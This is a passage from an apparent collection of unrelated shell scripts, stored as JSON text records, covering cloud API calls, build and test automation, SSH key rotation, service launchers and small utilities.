vpc\n\nurl=\"https://my.rightscale.com/acct/$rs_api_account_id/clouds/$rs_cloud_id/vpc_internet_gateways/$gateway_id/attach\"\necho \"POST: $url\"\n\n#-H \"User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.82 Safari/537.1\" \\\n\nresult=$(curl -v -X POST \\\n-b \"$HOME/.rightscale/rs_dashboard_cookie.txt\" \\\n-H \"Referer:https://my.rightscale.com/acct/$rs_api_account_id/clouds/$rs_cloud_id/vpc_internet_gateways/$gateway_id/pre_attach\" \\\n-d _method=put \\\n-d vpc_internet_gateway[vpc_id]=$vpc_id \\\n-d _=\" \" \\\n\"$url\" 2>&1)\n\necho -e \"$result\" | grep -q -e \"^< Status: 302\" && echo \"Attach internet gateway succeeded!\"\n\necho \"$result\" > /tmp/rs_gw_attach_vpc.txt"} {"text": "#!/bin/sh\n#\n# Created on November 30, 2021\n#\n# @author: sgoldsmith\n#\n# Set permissions to uio group, so root is not required.\n#\n# <NAME>\n# <EMAIL>\n#\n\nchown -R root:uio /dev/mem\nchmod -R ug+rw /dev/mem\nchown -R root:uio /dev/gpiochip* #/dev/gpiomem for sandbox\nchmod -R ug+rw /dev/gpiochip* #/dev/gpiomem for sandbox\nchown -R root:uio /dev/i2c*\nchmod -R ug+rw /dev/i2c*\nchown -R root:uio /dev/spidev*\nchmod -R ug+rw /dev/spidev*\nchown -R root:uio /sys/devices/platform/leds/leds\nchmod -R ug+rw /sys/devices/platform/leds/leds\nexit 0"} {"text": "<gh_stars>1-10\n#!/bin/sh\n\nif [ \"x${enable_prof}\" = \"x1\" ] ; then\n export MALLOC_CONF=\"prof:true,prof_accum:true,prof_active:false,lg_prof_sample:0,lg_prof_interval:0\"\n if [ \"x${enable_tcache}\" = \"x1\" ] ; then\n export MALLOC_CONF=\"${MALLOC_CONF},tcache:false\"\n fi\nelif [ \"x${enable_tcache}\" = \"x1\" ] ; then\n export MALLOC_CONF=\"tcache:false\"\nfi"} {"text": "mvn compile exec:java -Dexec.mainClass=\"com.github.chhsiao90.nitmproxy.CertGenerator\" -Dmain.args=\"$*\" $JAVA_OPTS"} {"text": "<filename>ubuntu/vlc-unstable.sh\nsudo add-apt-repository ppa:videolan/master-daily\nsudo apt update\nsudo apt install vlc"} {"text": "#!/usr/bin/env bash\nset -e\n\n# Sublime and vscode folders\nVSCODE_SNIPPET_FOLDER=\"vscode\"\nSUBLIME_SNIPPET_FOLDER=\"ninjaSnippet\"\nPROGRAMME=$0\n\n# check which machine is running the scipt\nif [[ uname -eq \"Darwin\" ]]; then\n SUBLIME_PACKAGE=$HOME/Library/Application\\ Support/sublime\\ Text\\ 3/Packages\n VSCODE_PACKAGE=$HOME/Library/Application\\ Support/Code/User/snippets\n else\n echo \"This installation works for mac OSx at the moment. Use manual installation instead\"\n exit 0\nfi\n\n# script for installing sublime snippet\nfunction install_sublime_snippet() {\n if [[ -d \"${SUBLIME_SNIPPET_FOLDER}\" ]]; then\n cp -a $SUBLIME_SNIPPET_FOLDER/ \"${SUBLIME_PACKAGE}/${SUBLIME_SNIPPET_FOLDER}\"\n fi\n}\n\n# Insralling vscode snippets\nfunction install_vscode_snippet() {\n if [[ -d \"${VSCODE_SNIPPET_FOLDER}\" ]]; then\n cp -R $VSCODE_SNIPPET_FOLDER/* \"${VSCODE_PACKAGE}\"\n fi\n}\n\n# User feedback for installing vscode\nfunction install_vscode() {\n\n install_vscode_snippet\n\n if [[ \"$?\" -eq \"0\" ]]; then\n echo \"==========================================================================\"\n echo \"============== VSCODE SNIPPET INSTALLATION SUCCESSFULL =================\"\n echo \"==========================================================================\"\n exit 0\n else\n echo \"==========================================================================\"\n echo \"============== INSTALLATION FAILED, PLEASE TRY AGAIN ========================\"\n echo \"==========================================================================\"\n exit 1\n fi\n}\n\n# User feedfack for installing sublime snippets\nfunction install_sublime() {\n\n install_sublime_snippet\n\n if [[ \"$?\" -eq \"0\" ]]; then\n echo \"==========================================================================\"\n echo \"============== SUBLIME INSTALLATION SUCCESSFULL ========================\"\n echo \"==========================================================================\"\n exit 0\n else\n echo \"==========================================================================\"\n echo \"============== INSTALLATION FAILED, PLEASE TRY AGAIN ========================\"\n echo \"==========================================================================\"\n exit 1\n fi\n}\n\n# program usage function\nfunction programme_usage {\n echo \"usage: $PROGRAMME [-irlh] <value>\"\n echo \" -i [-i <editor> ] Install snippets\"\n echo \" -r [-r <editor> ] Uninstall snippets\"\n echo \" -l [-l <language> ] Language to unistall, works for VS Code only\"\n echo \" -h Display help\"\n exit 0\n}\n\nif [[ $# -eq 0 ]]; then\n programme_usage\n exit 1\nfi\n\n# usage prompr por ninja script\nwhile getopts \":i:r:l:h\" opt; do\n case $opt in\n i)\n if [[ \"${OPTARG}\" == \"sublime\" ]]; then\n install_sublime\n elif [[ \"${OPTARG}\" == \"vscode\" ]]; then\n install_vscode\n else\n echo \"Commad ${OPTARG} was not found\"\n fi\n ;;\n\n r) EDITOR=$OPTARG;;\n\n l) EDITOR_LANG=$OPTARG;;\n\n h) programme_usage ;;\n\n \\?)\n echo \"Invalid option: -$OPTARG\" >&2\n exit 1\n ;;\n\n :)\n echo \"Option -$OPTARG requires an argument.\" >&2\n exit 1\n ;;\n esac\ndone\n\n# uninstall snippet\nfunction uninstall_vscode() {\n rm -f \"${VSCODE_PACKAGE}/${EDITOR_LANG}.json\"\n if [[ \"$?\" -eq \"0\" ]]; then\n echo \"=============================================================\"\n echo \"Snippet for language ${EDITOR_LANG} removed successfully\"\n echo \" \"\n echo \" \"\n exit 0\n else\n echo \"=============================================================\"\n echo \"snipptet for language ${EDITOR_LANG} failed, please try again\"\n echo \" \"\n echo \" \"\n exit 1\n fi\n}\n\nfunction uninstall_sublime() {\n echo \"============================================\"\n echo \" unistalling sublime ninjaSnippet\"\n rm -rf \"${SUBLIME_PACKAGE}/${SUBLIME_SNIPPET_FOLDER}\"\n}\n\nshift $(( OPTIND - 1 ))\n\nif [ \"$EDITOR\" == \"vscode\" ] && [ -n \"${EDITOR_LANG}\" ]; then\n uninstall_vscode\nelif [[ \"${EDITOR}\" == 'sublime' ]]; then\n uninstall_sublime\nelse\n echo \"Missing or incorrent argument, check and try again\"\nfi"} {"text": "<reponame>rahul26goyal/shell-scripts\n#!/bin/bash\n\n#Write a Program to print the Grade given marks as input. This is to demo if statement.\n\nif [ $# -ne 1 ]\nthen\n echo \"Takes only one argument which is marks. Received $# arguments: $@\"\nfi\n\nmark=$1\n\nif [[ $mark -lt 0 || $mark -gt 100 ]]\nthen\n echo \"Pass a value mark: [0..100], got $mark\"\n exit 1\nfi\n\nif [ $mark -gt 90 ]\nthen\n echo \"A grade - $mark\"\nelif [ $mark -gt 80 ]\nthen\n echo \"B grade - $mark\"\nelif [ $mark -gt 70 ]\nthen\n echo \"C grade - $mark\"\nelif [ $mark -ge 60 ]\nthen\n echo \"D grade - $mark\"\nelse\n echo \"Failed - $mark\"\nfi\necho \"Done\"\n\n#Test\n# ./print_grade.sh 6\n# ./print_grade.sh 66\n# ./print_grade.sh 96\n# ./print_grade.sh -6\n# ./print_grade.sh 601"} {"text": "#!/bin/bash\nset -e\nset -x verbose\n\nmkdir -p output build\n\nbipc.sh -I . -p priorities_in_atom -d \"Model()\" \\\n --gencpp-output output\n\ncd build\ncmake ../output\nmake\n\necho \"Finished. Run: ./build/system\""} {"text": "<gh_stars>0\n#!/bin/bash\n\nclear\n\nrm *.out\ngcc -Wall -pthread phil.c -o phil.out && ./phil.out"} {"text": "# USAGE: ./imgs_upload.sh content/images/2017/08\n[ \"$#\" -gt 1 ] && echo 'Too many args!' >&2 && exit 1\nscp -r \"$1/\" ct-lucas:ludochaordic/$(dirname \"$1\")"} {"text": "sudo apt update\nsudo apt install perl gqrx-sdr libperl*json* libtest*cpan*\n\nsudo cpan App::cpanminus\n\nsudo cpanm GQRX::Remote\nsudo cpanm JSON\nsudo cpanm LWP::Simple\nsudo cpanm Net::Random\nsudo cpanm Crypt::Random"} {"text": "#!/bin/sh -l\n\nset -ex\n\nif [ ! -z \"$INPUT_PATH\" ]; then\n /root/.composer/vendor/bin/phplint $INPUT_PATH $INPUT_OPTIONS\nelse\n sh -c \"/root/.composer/vendor/bin/phplint $*\"\nfi"} {"text": "#!/bin/bash\n\nCURL_PKG=\"curl-7.53.1.tar.gz\"\n\nif [ $# -gt 1 ]; then\n\techo \"Usage: $0 [version]\"\n\texit 1\nfi\n\nif [ $# -eq 1 ];then\n CURL_PKG=\"curl-$1.tar.gz\"\nfi\n\nCURL_SRC=${CURL_PKG//.tar*/}\nCURL_BUILD=${PWD}/build\nCURL_BUILD_LOG=${CURL_BUILD}/log\nCURL_URL=\"https://curl.haxx.se/download/${CURL_PKG}\"\n\nif [ ! -n `which curl` ];then\n echo \"curl not found, please install\"\n exit 1\nfi\n\nif [ ! -f \"${CURL_PKG}\" ];then\n echo \"Download curl package...\"\n curl -Lk $CURL_URL -o $CURL_PKG && exit 1\n if [ $? -ne 0 ];then\n echo \"Fetch ${CURL_PKG} fail!\"\n exit 1\n fi\nfi\n\n[ ! -d \"${CURL_SRC}\" ] && tar -xzvf ${CURL_PKG}\n[ ! -d \"${CURL_BUILD_LOG}\" ] && mkdir -p ${CURL_BUILD_LOG}\n\n. ./android.sh\n\npushd .\ncd ${CURL_SRC}\n\nexport CC=\"${ANDROID_TOOLCHAIN}/${CROSS_COMPILE}gcc\"\nexport CFLAGS=\"--sysroot=${ANDROID_SYSROOT}\"\nexport CXXFLAGS=\"--sysroot=${ANDROID_SYSROOT}\"\nexport CPP=\"${CC} -E\"\nexport CPPFLAGS=\"-I${ANDROID_SYSROOT}/usr/include\"\n\nmake clean &> ${CURL_BUILD_LOG}/make_clean.log\n\n./configure --host=\"arm-linux-androideabi\" --prefix=\"${CURL_BUILD}\" --enable-shared --enable-static --disable-manual --enable-ipv6 --with-ssl=\"${CURL_BUILD}\"\n\nmake\nmake install\n\nunset CC\nunset CFLAGS\nunset CXXFLAGS\nunset CPP\nunset CPPFLAGS\n\npopd\n\necho \"Done\""} {"text": "#!/bin/bash\nset -e\n\n# measure flops in ASM iterations with 3 dimensions and 8 processes\n# compare Cholesky and ICC solves on the subgrids\n# convenience: run with --with-debugging=0 configuration\n\nCOMMON=\"-fsh_dim 3 -ksp_converged_reason -ksp_type cg -pc_type asm -log_view\"\nCHOL=\"-sub_pc_type cholesky -sub_pc_factor_mat_ordering_type nd\"\nICC=\"-sub_pc_type icc\"\n\nfunction runcase() {\n CMD=\"mpiexec -n 8 ../fish $COMMON $1 -da_refine $2 -pc_asm_overlap $3\"\n echo \"COMMAND: $CMD\"\n rm -rf tmp.txt\n $CMD &> tmp.txt\n grep \"problem manuexp\" tmp.txt\n grep iterations tmp.txt\n grep KSPSolve tmp.txt\n}\n\nruncase \"$CHOL\" 4 1\nruncase \"$CHOL\" 5 2\nruncase \"$CHOL\" 6 4\n\nruncase \"$ICC\" 4 1\nruncase \"$ICC\" 5 2\nruncase \"$ICC\" 6 4\nruncase \"$ICC\" 7 8"} {"text": "<gh_stars>1-10\n#!/bin/bash\n\n############################################################\n# This script tests the Oasis Core project with the consensus\n# simulator.\n#\n# Usage:\n# test_consim.sh\n############################################################\n\n# Helpful tips on writing build scripts:\n# https://buildkite.com/docs/pipelines/writing-build-scripts\nset -euxo pipefail\n\n# Working directory.\nWORKDIR=$PWD\n\n#################\n# Run test suite.\n#################\n\necho ${WORKDIR}\n\nCONSIM_GENESIS=/tmp/consim-genesis.json\n\n# Generate the consensus sim genesis document.\n${WORKDIR}/go/oasis-node/oasis-node \\\n genesis init \\\n --debug.test_entity \\\n --debug.dont_blame_oasis \\\n --chain.id test \\\n --debug.allow_test_keys \\\n --staking.token_symbol BUF \\\n -g ${CONSIM_GENESIS}\n\n# Run the consensus simulator.\n${WORKDIR}/go/oasis-node/oasis-node \\\n debug consim \\\n --datadir /tmp/consim-datadir \\\n --log.level DEBUG \\\n --log.file /tmp/consim-datadir/consim.log \\\n -g ${CONSIM_GENESIS} \\\n --debug.dont_blame_oasis \\\n --debug.allow_test_keys \\\n --consim.workload xfer \\\n --consim.workload.xfer.iterations 10000 \\\n --consim.num_kept 1 \\\n --consim.memdb"} {"text": "<filename>scripts/scenarios/copy-normal.sh\n#!/bin/bash\n\nTMPDIR=$1\n\nsource ./scripts/scenarios/lib/helpers.sh\n\nmkdir -p $TMPDIR/remote\n\nprompt 'barf copy ~/local/* ~/remote/'\n./barf.sh -w 132 copy $TMPDIR/local/* $TMPDIR/remote/\n\nlistSizes $TMPDIR/local local\nlistSizes $TMPDIR/remote remote\n\nprompt 'barf copy ~/local/* ~/remote/'\n./barf.sh -w 132 copy $TMPDIR/local/* $TMPDIR/remote/\n\nfinish"} {"text": "add_lunch_combo omni_jfltexx-userdebug\nadd_lunch_combo full_jfltexx-userdebug"} {"text": "#!/bin/sh\n#\n# Licensed to the Apache Software Foundation (ASF) under one or more\n# contributor license agreements. See the NOTICE file distributed with\n# this work for additional information regarding copyright ownership.\n# The ASF licenses this file to You under the Apache License, Version 2.0\n# (the \"License\"); you may not use this file except in compliance with\n# the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# chkconfig: 2345 20 80\n# description: Apache NiFi is a dataflow system based on the principles of Flow-Based Programming.\n#\n\n# Script structure inspired from Apache Karaf and other Apache projects with similar startup approaches\n\nexport NIFI_DEFAULT_HOME=/opt/cloudera/parcels/NIFI\nNIFI_HOME=${NIFI_HOME:-$CDH_NIFI_HOME}\nexport NIFI_HOME=${NIFI_HOME:-$NIFI_DEFAULT_HOME}\n\nPROGNAME=`basename \"$0\"`\n\nwarn() {\n echo \"${PROGNAME}: $*\"\n}\n\ndie() {\n warn \"$*\"\n exit 1\n}\n\nunlimitFD() {\n # Use the maximum available, or set MAX_FD != -1 to use that\n if [ \"x$MAX_FD\" = \"x\" ]; then\n MAX_FD=\"maximum\"\n fi\n\n # Increase the maximum file descriptors if we can\n if [ \"$os400\" = \"false\" ] && [ \"$cygwin\" = \"false\" ]; then\n MAX_FD_LIMIT=`ulimit -H -n`\n if [ \"$MAX_FD_LIMIT\" != 'unlimited' ]; then\n if [ $? -eq 0 ]; then\n if [ \"$MAX_FD\" = \"maximum\" -o \"$MAX_FD\" = \"max\" ]; then\n # use the system max\n MAX_FD=\"$MAX_FD_LIMIT\"\n fi\n\n ulimit -n $MAX_FD > /dev/null\n # echo \"ulimit -n\" `ulimit -n`\n if [ $? -ne 0 ]; then\n warn \"Could not set maximum file descriptor limit: $MAX_FD\"\n fi\n else\n warn \"Could not query system maximum file descriptor limit: $MAX_FD_LIMIT\"\n fi\n fi\n fi\n}\n\n\n\nlocateJava() {\n if [ \"x$JAVA\" = \"x\" ] && [ -r /etc/gentoo-release ] ; then\n JAVA_HOME=`java-config --jre-home`\n fi\n if [ \"x$JAVA\" = \"x\" ]; then\n if [ \"x$JAVA_HOME\" != \"x\" ]; then\n if [ ! -d \"$JAVA_HOME\" ]; then\n die \"JAVA_HOME is not valid: $JAVA_HOME\"\n fi\n JAVA=\"$JAVA_HOME/bin/java\"\n else\n warn \"JAVA_HOME not set; results may vary\"\n JAVA=`type java`\n JAVA=`expr \"$JAVA\" : '.* \\(/.*\\)$'`\n if [ \"x$JAVA\" = \"x\" ]; then\n die \"java command not found\"\n fi\n fi\n fi\n}\n\ninit() {\n # Unlimit the number of file descriptors if possible\n unlimitFD\n\n # Locate the Java VM to execute\n locateJava\n}\n\nrun() {\n BOOTSTRAP_CONF=\"$NIFI_HOME/conf/bootstrap.conf\";\n echo\n echo \"Java home: $JAVA_HOME\"\n echo \"NiFi home: $NIFI_HOME\"\n echo\n echo \"Bootstrap Config File: $BOOTSTRAP_CONF\"\n echo\n\n exec \"$JAVA\" -cp \"$NIFI_HOME\"/conf/:\"$NIFI_HOME\"/lib/bootstrap/* -Xms12m -Xmx24m -Dorg.apache.nifi.bootstrap.config.file=\"$BOOTSTRAP_CONF\" org.apache.nifi.bootstrap.RunNiFi $@\n}\n\nmain() {\n init\n run \"$@\"\n}\n\n\ncase \"$1\" in\n start|stop|run|status|dump)\n main \"$@\"\n ;;\n restart)\n init\n\trun \"stop\"\n\trun \"start\"\n\t;;\n *)\n echo \"Usage nifi {start|stop|run|restart|status|dump}\"\n ;;\nesac"} {"text": "#!/bin/bash\n#\n# Copyright (c) Microsoft Corporation. All Rights Reserved.\n# Licensed under the MIT license. See LICENSE file on the project webpage for details.\n\n#\n# This script rotates the SSH key for the target user on the jumpbox.\n#\n\n# Oxa Tools\n# Settings for the OXA-Tools public repository \noxa_tools_public_github_account=\"myamigo1214\"\noxa_tools_public_github_projectname=\"oxa-tools\"\noxa_tools_public_github_projectbranch=\"oxa/master.fic\"\noxa_tools_public_github_branchtag=\"\"\noxa_tools_repository_path=\"/oxa/oxa-tools\"\n\n# Email Notifications\nnotification_email_subject=\"Rotate SSH Key Installer\"\ncluster_admin_email=\"\"\n\n# this is the user account that will be used for ssh\ntarget_user=\"\"\n\n# the updated private key for the target user\nprivate_key=\"\"\n\n# the updated public key for the target user\npublic_key=\"\"\n\n# authorized keys path for the target user\nauthorized_keys_path=\"\"\n\n#############################################################################\n# parse the command line arguments\n\nparse_args() \n{\n while [[ \"$#\" -gt 0 ]]\n do\n arg_value=\"${2}\"\n shift_once=0\n\n if [[ \"${arg_value}\" =~ \"--\" ]]; \n then\n arg_value=\"\"\n shift_once=1\n fi\n\n # Log input parameters to facilitate troubleshooting\n log \"Option '${1}' set with value '\"${arg_value}\"'\"\n\n case \"$1\" in\n --oxatools-public-github-accountname)\n oxa_tools_public_github_account=\"${arg_value}\"\n ;;\n --oxatools-public-github-projectname)\n oxa_tools_public_github_projectname=\"${arg_value}\"\n ;;\n --oxatools-public-github-projectbranch)\n oxa_tools_public_github_projectbranch=\"${arg_value}\"\n ;;\n --oxatools-public-github-branchtag)\n oxa_tools_public_github_branchtag=\"${arg_value}\"\n ;;\n --oxatools-repository-path)\n oxa_tools_repository_path=\"${arg_value}\"\n ;;\n --cluster-admin-email)\n cluster_admin_email=\"${arg_value}\"\n ;;\n --target-user)\n target_user=\"${arg_value}\"\n ;;\n --private-key)\n private_key=`echo ${arg_value} | base64 --decode`\n ;;\n --public-key)\n public_key=`echo ${arg_value} | base64 --decode`\n ;;\n esac\n\n shift # past argument or value\n\n if [ $shift_once -eq 0 ]; \n then\n shift # past argument or value\n fi\n\n done\n}\n\nvalidate_args()\n{\n log \"Validating arguments\"\n\n # target user\n if [[ -z $target_user ]]; \n then\n log \"You must specify a user account to use for SSH to remote servers\"\n exit $ERROR_SSHKEYROTATION_INSTALLER_FAILED\n fi\n\n # check the authorized keys for the user\n\n # only add the new public key as the only authorized key for the specific user\n authorized_keys_path=\"/home/${target_user}/.ssh/authorized_keys\"\n\n if [[ ! -f $authorized_keys_path ]];\n then\n log \"The target user's authorized keys doesn't already exist.\"\n exit $ERROR_SSHKEYROTATION_INSTALLER_FAILED\n fi\n\n # public key for the target user\n if [[ -z $public_key ]]; \n then\n log \"You must specify valid public key\"\n exit $ERROR_SSHKEYROTATION_INSTALLER_FAILED\n fi\n\n log \"Completed argument validation successfully\"\n}\n\n###############################################\n# START CORE EXECUTION\n###############################################\n\n# Source our utilities for logging and other base functions (we need this staged with the installer script)\n# the file needs to be first downloaded from the public repository\ncurrent_path=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nutilities_path=$current_path/utilities.sh\n\n# check if the utilities file exists. If not, bail out.\nif [[ ! -e $utilities_path ]]; \nthen \n echo :\"Utilities not present\"\n exit 3\nfi\n\n# source the utilities now\nsource $utilities_path\n\n# Script self-identification\nprint_script_header $notification_email_subject\n\n# pass existing command line arguments\nparse_args $@\nvalidate_args\n\n# debug mode support\nif [[ $debug_mode == 1 ]];\nthen\n set -x\nfi\n\n# sync the oxa-tools repository\nrepo_url=`get_github_url \"$oxa_tools_public_github_account\" \"$oxa_tools_public_github_projectname\"`\nsync_repo $repo_url $oxa_tools_public_github_projectbranch $oxa_tools_repository_path $access_token $oxa_tools_public_github_branchtag\nlog \"Repository sync is complete\" \" \" 2\n\n####################################\n# Main Operations\n####################################\n\necho $public_key > $authorized_keys_path\nexit_on_error \"Unable to add specified public key as the authorized key for ${target_user}: ${authorized_keys_path}\" $ERROR_SSHKEYROTATION_INSTALLER_FAILED, $notification_email_subject $cluster_admin_email\n\n# Setup permissions for public/private key\nchmod 600 $authorized_keys_path\nexit_on_error \"Unable set permissions for the authorized keys file at ${authorized_keys_path}\" $ERROR_SSHKEYROTATION_INSTALLER_FAILED, $notification_email_subject $cluster_admin_email\n\n# TODO: add support for a deep clean mode where we update the actual public/private keys for the JB and all other servers within the cluster\n# To do this, make sure the sequence is respected: update the authorized key for other servers first, and update the public/private key for the jumpbox\nlog \"Completed Key Rotation for ${target_user}\""} {"text": "<filename>.config/i3blocks/scripts/archupdates.sh\n#!/bin/bash\n\n# Run checkupdates if 24h has passed since last check\n# Pending update list are stored at $HOME/Misc/checkupdates/pending\n# Update checktimes are appended to $HOME/Misc/checkupdates/updatechecktime\n\nARCH=\" 󰣇 \"\nDIFF=$(echo \"scale=2; ($(date +%s)-$(date -r \"$HOME/Misc/checkupdates/updatechecktime\" +%s)) / (3600 * 24)\" | bc)\nPEND=$(cat \"$HOME/Misc/checkupdates/pending\")\nCHECK=$(echo \"$DIFF 1\" | awk '{print ($1 < $2)}')\n\nif [[ $PEND && $CHECK == 1 ]]; then\n COUNT=$(echo \"$PEND\"|wc -l)\n echo \"$ARCH$COUNT \"\n exit 0\nelif [[ $CHECK == 1 ]]; then\n echo \" 󰄭 \"\n exit 0\nfi\n\nLIST=$(checkupdates|cut -d' ' -f1)\ndate >> \"$HOME/Misc/checkupdates/updatechecktime\"\n\nif [[ $LIST ]]; then\n COUNT=$(echo \"$LIST\"|wc -l)\n echo \"$ARCH$COUNT \"\n echo \"$LIST\" > \"$HOME/Misc/checkupdates/pending\"\nelse\n echo \" 󰄭 \"\nfi\n\nif [[ $COUNT -ge 1 ]]; then\n DISPLAY=:0 DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus dunstify -h string:x-canonical-private-synchronous:updates \"$COUNT Updates Available!\" \"$LIST\" -u CRITICAL\nfi"} {"text": "<reponame>constant-flow/raspberry-pack\n#!/bin/bash\nwhile [ $# -gt 0 ]; do\n\n if [[ $1 == *\"-\"* ]]; then\n v=\"${1/-/}\"\n declare $v=\"$2\"\n fi\n\n shift\ndone\n\nrm *.img\ncurl -L $url -o temp.zip\nunzip temp.zip\nrm temp.zip\nmv *.img raspberry-pack.img\necho $url > raspberry-pack.img.version\necho \"\\aImage download done.\"\nsleep 3"} {"text": "#!/bin/bash\n#created by <NAME>\n#created on 17/11/2011\n#Start script code ----\n#default google service\nservice='calendar'\ncase $# in\n2|3) #username, password and [service] as commandline arguments\nfor arg in \"$@\"\ndo\ncase $arg in\n--user=*) #get the username\nuser=`echo $arg | sed 's/--user=//'`\n;;\n--passwd=*) #get the password\npasswd=`echo $arg | sed 's/--passwd=//'`\n;;\n--service=*) #get the password\nservice=`echo $arg | sed 's/--service=//'`\n;;\n*) #Unknown commandline arguments\necho \"googleAuth: Improper commandline arguments...\"\necho \"Usage: googleAuth --user=<username> --passwd=<password> [--service=<service>]\"\nexit 0\n;;\nesac\ndone\n;;\n*) #no proper commandline arguments\necho \"googleAuth: Improper commandline arguments...\"\necho \"Usage: googleAuth --user=<username> --passwd=<password> [--service=<service>]\"\nexit 0\n;;\nesac\n\ngsrvc=`cat \"$HOME/shellSrc/.config/gservices.list\" | sed 's/#.*//' | grep $service | sed \"s/$service=//\"`\nhttpbody=\"accountType=GOOGLE&Email=$user&Passwd=$passwd&service=$gsrvc&source=gcalendar_curl_client\"\ncommand=\"curl -d '$httpbody' https://www.google.com/accounts/ClientLogin --silent\"\n#echo $command ##-- for test purpose\nexec $command | grep Auth | sed 's/Auth=//'\n#----End script code"} {"text": "#!/usr/bin/env bash\nif [ \"$1\" = \"\" ]\nthen\n echo \"Starting Default integration\"\n ng serve --proxy-config proxy.conf.int.json --ssl true\nelse\n echo \"Starting \" $1\n ng serve --proxy-config proxy.conf.$1.json --ssl true\nfi"} {"text": "<reponame>gargnupur/test-infra\n#!/usr/bin/env bash\n\n# Copyright 2020 Istio Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nROOT=\"$(cd -P \"$(dirname -- \"$0\")\" && pwd -P)\"\n\n# shellcheck disable=SC1090\nsource \"$ROOT/lib.sh\"\n\ntimout=\"5m\"\n\nget_tokeninfo() {\n local token\n\n while [ -z \"${token:-}\" ]; do\n sleep 5\n token=$(kubectl get secrets authentikos-token --output=jsonpath='{.data.token}' | base64 --decode)\n done\n\n curl -sSfL \"https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$token\"\n}\n\nrun_test() {\n set -x\n\n local tokeninfo=\"$1\"\n\n echo \"Test 'error' is null\"\n echo \"$tokeninfo\" | jq -r '.error' | xargs -r -I% test % = \"null\"\n\n echo \"Test 'issued_to' exists\"\n echo \"$tokeninfo\" | jq -r '.issued_to' | xargs -r test -n\n\n echo \"Test 'audience' exists\"\n echo \"$tokeninfo\" | jq -r '.audience' | xargs -r test -n\n\n echo \"Test 'user_id' exists\"\n echo \"$tokeninfo\" | jq -r '.user_id' | xargs -r test -n\n\n echo \"Test 'email' exists\"\n echo \"$tokeninfo\" | jq -r '.email' | xargs -r test -n\n\n echo \"Test 'expires_in' greater than 0\"\n echo \"$tokeninfo\" | jq -r '.expires_in' | xargs -r -I% test % -lt 0\n\n echo \"Test 'scope' includes 'userinfo.email', 'cloud-platform', and 'openid'\"\n echo \"$tokeninfo\" | jq -r '.scope' |\n grep -w \"openi\" |\n grep -w \"https://www.googleapis.com/auth/cloud-platform\" |\n grep -w \"https://www.googleapis.com/auth/userinfo.email\" >/dev/null\n}\n\nmain() {\n kubectl create secret generic service-account --from-file=\"service-account.json=$GOOGLE_APPLICATION_CREDENTIALS\"\n kubectl apply --filename=\"$ROOT/testdata/authentikos-simple.yaml\"\n kubectl wait deployment authentikos --for=\"condition=available\" --timeout=\"$timout\"\n\n run_test \"$(with_timeout get_tokeninfo \"$timout\")\"\n}\n\nmain"} {"text": "#!/usr/bin/env bash\n# Author: <NAME>\n# Date: 2020.08.22\n\nconfig=$1\nbamfile=$2\n\nERROR_ARGUMENTS=65\n\nUSAGE=\"\\nUsage: \\n\\\n`basename $0` config bamfile (specify config with path, bam file is taken from raw dir)\\n\\\nMark duplicated and fix read groups\\n\\\nOutput in intdir, same bamfile name\\n\"\n\n# Print usage: scriptname -options, if script invoked with wrong command-line args\nif [ $# -ne 2 ]\nthen\n echo -e $USAGE\n exit $ERROR_ARGUMENTS\nfi\n\nsource $config\n\nbamfile=${bamfile##*/}\nsample_ref=${bamfile/.bam/}\nbqsr_file=\"$interim_gatk\"/\"$sample_ref\"bqsr.map\nbqsr_bam=\"$sample_ref\"_bqsr.bam\nvcf_hc=\"$interim_gatk\"/\"$sample_ref\"_hc.g.vcf.gz\ngatk_vcf=\"$interim_gatk\"/\"$sample_ref\"_gatk.vcf.gz\n\n# Variant calling using GATK HaplotypeCaller\ngatk HaplotypeCaller -I \"$intdir\"/\"$bqsr_bam\" -R \"$intdir\"/ref.fasta -O $gatk_vcf --output-mode EMIT_ALL_CONFIDENT_SITES\n\n# Genotype GVCFs\n# gatk GenotypeGVCFs -V $vcf_hc -R \"$intdir\"/ref.fasta -O $gatk_vcf\n\ntabix -fp vcf $gatk_vcf\n\nexit 0"} {"text": "<reponame>OneCodeMonkey/Shell\n#!/bin/bash\n\n# docker批量 start|stop|restart|status 其中的应用\n\nfunction start_docker_internal_app()\n{\n\tdocker_name = $1\n\tapp_name = $2\n\tapp_ops_operation = $3\n\tabc = $(docker exec -it $docker_name su -work -c \"/home/user/app/$app_name/bin/console $app_ops_operation\")\n}\n\nfunction get_docker_app_name()\n{\n\tops_oper = $1\n\tfor i in `docker ps -a|awk '{if ($8 == \"Up\") print $NF}' | grep -v \"CONTAINER\" | grep -v \"^$\"`\n\tdo\n\t\tresult = $(docker exec -it $i ls -lrt /home/user/app/ | tail -1 | awk '{print $9}' | tr -d \"\\r\")\n\t\tstart_docker_internal_app $i $result $ops_oper\n\tdone\n}\n\ncase \"$1\" in\n\tstart)\n\t\techo -e \"\\033[32m 应用启动 \\033[0m\"\n\t\tops_operation = 'start'\n\t\tget_docker_app_name $ops_operation\n\t\t$1\n\t\t;;\n\tstop)\n\t\techo -e \"\\033[32m 应用停止 \\033[0m\"\n\t\tops_operation = 'stop'\n\t\tget_docker_app_name $ops_operation\n\t\t$1\n\t\t;;\n\trestart)\n\t\techo -e \"\\033[32m 应用重启 \\033[0m\"\n\t\tops_operation = 'restart'\n\t\tget_docker_app_name $ops_operation\n\t\t$1\n\t\t;;\n\tstatus)\n\t\techo -e \"\\033[32m 检查程序 \\033[0m\"\n\t\tops_operation = 'status'\n\t\tget_docker_app_name $ops_operation\n\t\t;;\n\t*)\n\techo -e 